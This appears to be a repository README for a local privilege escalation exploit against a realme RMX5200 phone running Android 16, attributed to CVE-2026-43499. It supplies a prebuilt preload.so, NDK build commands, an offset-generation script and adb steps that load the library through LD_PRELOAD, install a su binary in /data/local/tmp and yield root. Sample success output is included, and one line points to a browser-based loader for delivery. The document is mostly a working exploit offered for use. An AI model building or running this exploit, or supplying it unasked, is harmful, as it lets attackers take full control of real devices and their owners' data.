
Android 16 local privilege escalation exploit for realme RMX5200 using LD_PRELOAD-based preload.so chain to achieve temporary root access via CVE-2026-43499.
CVE-2026-43499 local privilege escalation SO for:
| Item | Value |
|---|---|
| Device | realme RMX5200 / RE6030L1 |
| Android | 16 |
| Kernel | 6.12.23-android16-5-gb2a876903b49-ab14541642-4k |
| Fingerprint | realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys |
Prebuilt binary: bin/preload.so
This repo keeps only the SO build tree (sources + offsets + prebuilt). No browser harness, no firmware dumps, no test scaffolding.
Based on the public IonStack / popsicle-style chain; offsets regenerated from this device's boot.img + xbl_config.img.
.
├── bin/preload.so # prebuilt aarch64 shared object (verified)
├── generate_target.py # optional: regenerate target.h from boot+xbl
├── source/
│ ├── Makefile
│ └── src/
│ ├── target.h # RMX5200 offsets
│ ├── main.c preload.c slide.c ...
│ └── kernelsnitch/
└── README.md
Requirements:
llvm-objdump (only if regenerating target.h)# Linux NDK example
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload
# Windows NDK example
make -C source clean preload \
NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"
Output:
source/build/bin/preload.so
cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"
$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
src/su_daemon.c -o build/embed/su_daemon_aarch64_pie
$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
-DTARGET_CONFIG_H=\"target.h\" \
src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
src/preload.c src/su_blob.S \
-shared -o build/bin/preload.so -pthread
Need matching firmware images (not shipped here):
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
--llvm-objdump llvm-objdump \
-o source/src/target.h
adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
Load this preload.so via a Firefox-151 lonStack-style host (e.g. Rootme device entry). Not included in this repository.
Success markers:
slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...
uid=0(root) gid=0(root) ... context=kernel
target.h / rebuild.preload.so chain